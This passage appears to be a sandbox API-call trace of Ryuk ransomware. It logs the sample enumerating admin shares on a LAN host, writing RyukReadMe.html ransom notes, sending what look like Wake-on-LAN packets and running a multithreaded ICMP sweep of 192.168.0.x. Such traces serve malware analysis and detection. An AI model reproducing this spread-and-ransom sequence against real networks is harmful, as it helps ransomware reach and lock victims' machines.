	[0255.090] GetLastError () returned 0x57
	[0255.091] SetLastError (dwErrCode=0x57) 
	[0255.091] FindFirstFileW (in: lpFileName="\\\\192.168.0.60\\A$\\*.*", lpFindFileData=0x173500 | out: lpFindFileData=0x173500*(dwFileAttributes=0x20c, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x210, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x214, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x218, nFileSizeHigh=0x0, nFileSizeLow=0x21c, dwReserved0=0x0, dwReserved1=0x220, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0257.964] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0257.964] FindFirstFileW (in: lpFileName="\\\\192.168.0.60\\B$\\*.*", lpFindFileData=0x173500 | out: lpFindFileData=0x173500*(dwFileAttributes=0x20c, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x210, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x214, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x218, nFileSizeHigh=0x0, nFileSizeLow=0x21c, dwReserved0=0x0, dwReserved1=0x220, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0261.864] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0261.864] FindFirstFileW (in: lpFileName="\\\\192.168.0.60\\C$\\*.*", lpFindFileData=0x173500 | out: lpFindFileData=0x173500*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x70d3eb40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x70d3eb40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x220, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x2dd6f0
	[0262.624] SetLastError (dwErrCode=0x0) 
	[0262.624] CreateFileW (lpFileName="\\\\192.168.0.60\\C$\\RyukReadMe.html" (normalized: "\\\\192.168.0.60\\c$\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4
	[0268.923] GetLastError () returned 0xb7
	[0268.923] CloseHandle (hObject=0x8c4) returned 1
	[0273.805] FindFirstFileW (in: lpFileName="\\\\192.168.0.60\\C$\\$Recycle.Bin\\*.*", lpFindFileData=0x172dd0 | out: lpFindFileData=0x172dd0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x70d3eb40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x70d3eb40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dd750
	[0276.556] FindNextFileW (in: hFindFile=0x2dd750, lpFindFileData=0x172dd0 | out: lpFindFileData=0x172dd0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x70d3eb40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x70d3eb40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.370] FindNextFileW (in: hFindFile=0x2dd750, lpFindFileData=0x172dd0 | out: lpFindFileData=0x172dd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d3eb40, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x70d3eb40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7143cbe0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x42, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0277.370] FindNextFileW (in: hFindFile=0x2dd750, lpFindFileData=0x172dd0 | out: lpFindFileData=0x172dd0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x409b5080, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x409b5080, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0277.371] SetLastError (dwErrCode=0x0) 
	[0277.371] CreateFileW (lpFileName="\\\\192.168.0.60\\C$\\$Recycle.Bin\\RyukReadMe.html" (normalized: "\\\\192.168.0.60\\c$\\$recycle.bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890
	[0283.138] GetLastError () returned 0xb7
	[0283.138] CloseHandle (hObject=0x890) returned 1
	[0284.151] FindFirstFileW (lpFileName="\\\\192.168.0.60\\C$\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*", lpFindFileData=0x1726a0) 

Thread:
	id = 1313
	os_tid = 0x1abc


Thread:
	id = 1476
	os_tid = 0x1d1c

	[0233.898] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0x22df9c8, Order=1 | out: IpNetTable=0x0, SizePointer=0x22df9c8) returned 0x7a
	[0233.899] VirtualAlloc (lpAddress=0x0, dwSize=0x192c, flAllocationType=0x1000, flProtect=0x4) returned 0xd0000
	[0233.900] GetIpNetTable (in: IpNetTable=0xd0000, SizePointer=0x22df9c8, Order=1 | out: IpNetTable=0xd0000, SizePointer=0x22df9c8) returned 0x0
	[0233.929] VirtualAlloc (lpAddress=0x0, dwSize=0x1830, flAllocationType=0x1000, flProtect=0x4) returned 0xe0000
	[0233.930] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x22df790 | out: lpWSAData=0x22df790) returned 0
	[0234.060] socket (af=2, type=2, protocol=17) returned 0x108
	[0234.069] setsockopt (s=0x108, level=65535, optname=32, optval="\x01ù-\x02", optlen=1) returned 0
	[0234.069] htonl (hostlong=0x0) returned 0x0
	[0234.069] htons (hostshort=0x0) returned 0x0
	[0234.069] bind (s=0x108, addr=0x22df700*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
	[0234.071] inet_addr (cp="192.168.0.1") returned 0x100a8c0
	[0234.072] htons (hostshort=0x7) returned 0x700
	[0234.072] sendto (s=0x108, buf=0x22df720*, len=102, flags=0, to=0x22df710*(sa_family=2, sin_port=0x7, sin_addr="192.168.0.1"), tolen=16) returned 102
	[0234.073] Sleep (dwMilliseconds=0xfa) 
	[0234.381] closesocket (s=0x108) returned 0
	[0234.381] WSACleanup () returned 0
	[0234.495] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x22df790 | out: lpWSAData=0x22df790) returned 0
	[0234.504] socket (af=2, type=2, protocol=17) returned 0xfc
	[0234.508] setsockopt (s=0xfc, level=65535, optname=32, optval="\x01ù-\x02", optlen=1) returned 0
	[0234.508] htonl (hostlong=0x0) returned 0x0
	[0234.508] htons (hostshort=0x0) returned 0x0
	[0234.508] bind (s=0xfc, addr=0x22df700*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
	[0234.508] inet_addr (cp="224.0.0.22") returned 0x160000e0
	[0234.508] htons (hostshort=0x7) returned 0x700
	[0234.508] sendto (s=0xfc, buf=0x22df720*, len=102, flags=0, to=0x22df710*(sa_family=2, sin_port=0x7, sin_addr="224.0.0.22"), tolen=16) returned 102
	[0234.510] Sleep (dwMilliseconds=0xfa) 
	[0234.847] closesocket (s=0xfc) returned 0
	[0234.848] WSACleanup () returned 0
	[0235.133] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x22df790 | out: lpWSAData=0x22df790) returned 0
	[0235.143] socket (af=2, type=2, protocol=17) returned 0xf8
	[0235.146] setsockopt (s=0xf8, level=65535, optname=32, optval="\x01ù-\x02", optlen=1) returned 0
	[0235.146] htonl (hostlong=0x0) returned 0x0
	[0235.146] htons (hostshort=0x0) returned 0x0
	[0235.147] bind (s=0xf8, addr=0x22df700*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
	[0235.147] inet_addr (cp="224.0.0.252") returned 0xfc0000e0
	[0235.147] htons (hostshort=0x7) returned 0x700
	[0235.147] sendto (s=0xf8, buf=0x22df720*, len=102, flags=0, to=0x22df710*(sa_family=2, sin_port=0x7, sin_addr="224.0.0.252"), tolen=16) returned 102
	[0235.148] Sleep (dwMilliseconds=0xfa) 
	[0235.461] closesocket (s=0xf8) returned 0
	[0235.462] WSACleanup () returned 0
	[0235.881] VirtualFree (lpAddress=0xd0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.881] VirtualFree (lpAddress=0xe0000, dwSize=0x0, dwFreeType=0x8000) returned 1

Thread:
	id = 2855
	os_tid = 0x329c

	[0249.788] GetLastError () returned 0x57
	[0249.788] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2de930
	[0249.788] SetLastError (dwErrCode=0x57) 
	[0249.788] IcmpCreateFile () returned 0x2cc9b0
	[0252.816] IcmpSendEcho (IcmpHandle=0x2cc9b0, DestinationAddress=0x100a8c0, RequestData=0x80afa60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x80afa80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2856
	os_tid = 0x32a0

	[0249.794] GetLastError () returned 0x57
	[0249.794] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2ec4e0
	[0249.794] SetLastError (dwErrCode=0x57) 
	[0249.795] IcmpCreateFile () returned 0x2ccb40
	[0252.818] IcmpSendEcho (IcmpHandle=0x2ccb40, DestinationAddress=0x200a8c0, RequestData=0x822fc60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x822fc80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2857
	os_tid = 0x32a4

	[0249.795] GetLastError () returned 0x57
	[0249.795] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2ec8b0
	[0249.795] SetLastError (dwErrCode=0x57) 
	[0249.795] IcmpCreateFile () returned 0x2ccb90
	[0252.819] IcmpSendEcho (IcmpHandle=0x2ccb90, DestinationAddress=0x300a8c0, RequestData=0x832fb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x832fb60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2858
	os_tid = 0x32a8

	[0249.796] GetLastError () returned 0x57
	[0249.796] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2ecc80
	[0249.796] SetLastError (dwErrCode=0x57) 
	[0249.796] IcmpCreateFile () returned 0x2ccbe0
	[0252.820] IcmpSendEcho (IcmpHandle=0x2ccbe0, DestinationAddress=0x400a8c0, RequestData=0x848fdc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x848fde0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2859
	os_tid = 0x32ac

	[0249.797] GetLastError () returned 0x57
	[0249.797] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2ed050
	[0249.797] SetLastError (dwErrCode=0x57) 
	[0249.797] IcmpCreateFile () returned 0x2ccc30
	[0252.821] IcmpSendEcho (IcmpHandle=0x2ccc30, DestinationAddress=0x500a8c0, RequestData=0x86efc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x86efc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2860
	os_tid = 0x32b0

	[0249.798] GetLastError () returned 0x57
	[0249.798] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2ed420
	[0249.798] SetLastError (dwErrCode=0x57) 
	[0249.798] IcmpCreateFile () returned 0x2ccc80
	[0252.822] IcmpSendEcho (IcmpHandle=0x2ccc80, DestinationAddress=0x600a8c0, RequestData=0x88bf920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x88bf940, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2861
	os_tid = 0x32b4

	[0249.799] GetLastError () returned 0x57
	[0249.799] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2ed7f0
	[0249.799] SetLastError (dwErrCode=0x57) 
	[0249.799] IcmpCreateFile () returned 0x2cccd0
	[0252.822] IcmpSendEcho (IcmpHandle=0x2cccd0, DestinationAddress=0x700a8c0, RequestData=0x85cfc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x85cfc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2862
	os_tid = 0x32b8

	[0249.799] GetLastError () returned 0x57
	[0249.800] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2edbc0
	[0249.800] SetLastError (dwErrCode=0x57) 
	[0249.800] IcmpCreateFile () returned 0x2ccd20
	[0252.823] IcmpSendEcho (IcmpHandle=0x2ccd20, DestinationAddress=0x800a8c0, RequestData=0x8b5f760, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x8b5f780, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2863
	os_tid = 0x32bc

	[0249.800] GetLastError () returned 0x57
	[0249.800] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2edf90
	[0249.801] SetLastError (dwErrCode=0x57) 
	[0249.801] IcmpCreateFile () returned 0x2ccd70
	[0252.825] IcmpSendEcho (IcmpHandle=0x2ccd70, DestinationAddress=0x900a8c0, RequestData=0x89ffca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x89ffcc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2864
	os_tid = 0x32c0

	[0249.801] GetLastError () returned 0x57
	[0249.801] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2ee360
	[0249.801] SetLastError (dwErrCode=0x57) 
	[0249.801] IcmpCreateFile () returned 0x2ccdc0
	[0252.825] IcmpSendEcho (IcmpHandle=0x2ccdc0, DestinationAddress=0xa00a8c0, RequestData=0x8e3fbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x8e3fc00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2865
	os_tid = 0x32c4

	[0249.802] GetLastError () returned 0x57
	[0249.802] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2ee730
	[0249.802] SetLastError (dwErrCode=0x57) 
	[0249.802] IcmpCreateFile () returned 0x2cce10
	[0252.826] IcmpSendEcho (IcmpHandle=0x2cce10, DestinationAddress=0xb00a8c0, RequestData=0x8cffa60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x8cffa80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2866
	os_tid = 0x32c8

	[0249.803] GetLastError () returned 0x57
	[0249.803] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2eeb00
	[0249.803] SetLastError (dwErrCode=0x57) 
	[0249.803] IcmpCreateFile () returned 0x2cce60
	[0252.827] IcmpSendEcho (IcmpHandle=0x2cce60, DestinationAddress=0xc00a8c0, RequestData=0x8fffc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x8fffca0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2867
	os_tid = 0x32cc

	[0249.803] GetLastError () returned 0x57
	[0249.803] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2eeed0
	[0249.804] SetLastError (dwErrCode=0x57) 
	[0249.804] IcmpCreateFile () returned 0x2cceb0
	[0252.828] IcmpSendEcho (IcmpHandle=0x2cceb0, DestinationAddress=0xd00a8c0, RequestData=0x929fe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x929fe60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2868
	os_tid = 0x32d0

	[0249.804] GetLastError () returned 0x57
	[0249.804] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2ef2a0
	[0249.805] SetLastError (dwErrCode=0x57) 
	[0249.805] IcmpCreateFile () returned 0x2ccf00
	[0252.829] IcmpSendEcho (IcmpHandle=0x2ccf00, DestinationAddress=0xe00a8c0, RequestData=0x940f7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x940f7c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2869
	os_tid = 0x32d4

	[0250.042] GetLastError () returned 0x57
	[0250.042] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2fdde0
	[0250.042] SetLastError (dwErrCode=0x57) 
	[0250.042] IcmpCreateFile () returned 0x2ccf50
	[0252.829] IcmpSendEcho (IcmpHandle=0x2ccf50, DestinationAddress=0xf00a8c0, RequestData=0x911f840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x911f860, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2884
	os_tid = 0x3318


Thread:
	id = 2885
	os_tid = 0x331c

	[0250.043] GetLastError () returned 0x57
	[0250.043] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2fe1b0
	[0250.044] SetLastError (dwErrCode=0x57) 
	[0250.044] IcmpCreateFile () returned 0x2ccfa0
	[0252.830] IcmpSendEcho (IcmpHandle=0x2ccfa0, DestinationAddress=0x1000a8c0, RequestData=0x97ff820, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x97ff840, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2886
	os_tid = 0x3320

	[0250.044] GetLastError () returned 0x57
	[0250.044] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2fe5b0
	[0250.048] SetLastError (dwErrCode=0x57) 
	[0250.048] IcmpCreateFile () returned 0x2ccff0
	[0252.831] IcmpSendEcho (IcmpHandle=0x2ccff0, DestinationAddress=0x1100a8c0, RequestData=0x990fbc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x990fbe0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2887
	os_tid = 0x3324

	[0250.049] GetLastError () returned 0x57
	[0250.049] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2fe980
	[0250.049] SetLastError (dwErrCode=0x57) 
	[0250.049] IcmpCreateFile () returned 0x2cd040
	[0252.832] IcmpSendEcho (IcmpHandle=0x2cd040, DestinationAddress=0x1200a8c0, RequestData=0x9a7f960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9a7f980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2888
	os_tid = 0x3328

	[0250.049] GetLastError () returned 0x57
	[0250.050] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2fed50
	[0250.050] SetLastError (dwErrCode=0x57) 
	[0250.050] IcmpCreateFile () returned 0x2cd090
	[0252.833] IcmpSendEcho (IcmpHandle=0x2cd090, DestinationAddress=0x1300a8c0, RequestData=0x9c8f860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9c8f880, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2889
	os_tid = 0x332c

	[0250.050] GetLastError () returned 0x57
	[0250.050] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2ff120
	[0250.051] SetLastError (dwErrCode=0x57) 
	[0250.051] IcmpCreateFile () returned 0x2cd0e0
	[0252.835] IcmpSendEcho (IcmpHandle=0x2cd0e0, DestinationAddress=0x1400a8c0, RequestData=0x9ebfee0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9ebff00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2890
	os_tid = 0x3330

	[0250.051] GetLastError () returned 0x57
	[0250.051] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2ff4f0
	[0250.051] SetLastError (dwErrCode=0x57) 
	[0250.052] IcmpCreateFile () returned 0x2cd130
	[0252.836] IcmpSendEcho (IcmpHandle=0x2cd130, DestinationAddress=0x1500a8c0, RequestData=0xa0cfc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa0cfc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2891
	os_tid = 0x3334

	[0250.052] GetLastError () returned 0x57
	[0250.052] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2ff8c0
	[0250.052] SetLastError (dwErrCode=0x57) 
	[0250.052] IcmpCreateFile () returned 0x2cd180
	[0252.837] IcmpSendEcho (IcmpHandle=0x2cd180, DestinationAddress=0x1600a8c0, RequestData=0x954f980, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x954f9a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2892
	os_tid = 0x3338

	[0250.053] GetLastError () returned 0x57
	[0250.053] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2ffc90
	[0250.053] SetLastError (dwErrCode=0x57) 
	[0250.053] IcmpCreateFile () returned 0x2cd1d0
	[0252.841] IcmpSendEcho (IcmpHandle=0x2cd1d0, DestinationAddress=0x1700a8c0, RequestData=0xa20f7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa20f7e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2893
	os_tid = 0x333c

	[0250.054] GetLastError () returned 0x57
	[0250.054] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x300060
	[0250.054] SetLastError (dwErrCode=0x57) 
	[0250.054] IcmpCreateFile () returned 0x2cd220
	[0252.842] IcmpSendEcho (IcmpHandle=0x2cd220, DestinationAddress=0x1800a8c0, RequestData=0xa30fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa30fce0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2894
	os_tid = 0x3340

	[0250.055] GetLastError () returned 0x57
	[0250.055] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x300430
	[0250.055] SetLastError (dwErrCode=0x57) 
	[0250.055] IcmpCreateFile () returned 0x2cd270
	[0252.843] IcmpSendEcho (IcmpHandle=0x2cd270, DestinationAddress=0x1900a8c0, RequestData=0xa48fea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa48fec0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2895
	os_tid = 0x3344

	[0250.055] GetLastError () returned 0x57
	[0250.055] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x300800
	[0250.056] SetLastError (dwErrCode=0x57) 
	[0250.056] IcmpCreateFile () returned 0x3029b0
	[0252.844] IcmpSendEcho (IcmpHandle=0x3029b0, DestinationAddress=0x1a00a8c0, RequestData=0xa64fe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa64fe60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2896
	os_tid = 0x3348

	[0250.057] GetLastError () returned 0x57
	[0250.057] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x300bd0
	[0250.057] SetLastError (dwErrCode=0x57) 
	[0250.057] IcmpCreateFile () returned 0x302a00
	[0252.845] IcmpSendEcho (IcmpHandle=0x302a00, DestinationAddress=0x1b00a8c0, RequestData=0xa84fc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa84fc20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2897
	os_tid = 0x334c

	[0250.058] GetLastError () returned 0x57
	[0250.058] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x300fa0
	[0250.058] SetLastError (dwErrCode=0x57) 
	[0250.058] IcmpCreateFile () returned 0x302a50
	[0252.845] IcmpSendEcho (IcmpHandle=0x302a50, DestinationAddress=0x1c00a8c0, RequestData=0xa97f940, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa97f960, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2898
	os_tid = 0x3350

	[0250.059] GetLastError () returned 0x57
	[0250.059] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x301370
	[0250.060] SetLastError (dwErrCode=0x57) 
	[0250.060] IcmpCreateFile () returned 0x302aa0
	[0252.846] IcmpSendEcho (IcmpHandle=0x302aa0, DestinationAddress=0x1d00a8c0, RequestData=0x9d8f740, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9d8f760, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2899
	os_tid = 0x3354

	[0250.060] GetLastError () returned 0x57
	[0250.060] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x301740
	[0250.060] SetLastError (dwErrCode=0x57) 
	[0250.060] IcmpCreateFile () returned 0x302af0
	[0252.847] IcmpSendEcho (IcmpHandle=0x302af0, DestinationAddress=0x1e00a8c0, RequestData=0xab6fb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xab6fb60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2900
	os_tid = 0x3358

	[0250.061] GetLastError () returned 0x57
	[0250.061] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x301b10
	[0250.061] SetLastError (dwErrCode=0x57) 
	[0250.061] IcmpCreateFile () returned 0x302b40
	[0252.848] IcmpSendEcho (IcmpHandle=0x302b40, DestinationAddress=0x1f00a8c0, RequestData=0xac9fae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xac9fb00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2901
	os_tid = 0x335c

	[0250.062] GetLastError () returned 0x57
	[0250.062] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x301ee0
	[0250.063] SetLastError (dwErrCode=0x57) 
	[0250.063] IcmpCreateFile () returned 0x302b90
	[0252.849] IcmpSendEcho (IcmpHandle=0x302b90, DestinationAddress=0x2000a8c0, RequestData=0xadafda0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xadafdc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2902
	os_tid = 0x3360

	[0250.063] GetLastError () returned 0x57
	[0250.063] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x30b9b0
	[0250.065] SetLastError (dwErrCode=0x57) 
	[0250.065] IcmpCreateFile () returned 0x302be0
	[0252.851] IcmpSendEcho (IcmpHandle=0x302be0, DestinationAddress=0x2100a8c0, RequestData=0xaf5f740, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xaf5f760, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2903
	os_tid = 0x3364

	[0250.065] GetLastError () returned 0x57
	[0250.065] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x30bd80
	[0250.065] SetLastError (dwErrCode=0x57) 
	[0250.066] IcmpCreateFile () returned 0x302c30
	[0252.852] IcmpSendEcho (IcmpHandle=0x302c30, DestinationAddress=0x2200a8c0, RequestData=0x9b7fbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9b7fc00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2904
	os_tid = 0x3368

	[0250.066] GetLastError () returned 0x57
	[0250.066] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x30c150
	[0250.066] SetLastError (dwErrCode=0x57) 
	[0250.066] IcmpCreateFile () returned 0x302c80
	[0252.853] IcmpSendEcho (IcmpHandle=0x302c80, DestinationAddress=0x2300a8c0, RequestData=0xb08f8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb08f900, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2905
	os_tid = 0x336c

	[0250.067] GetLastError () returned 0x57
	[0250.067] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x30c520
	[0250.067] SetLastError (dwErrCode=0x57) 
	[0250.067] IcmpCreateFile () returned 0x302cd0
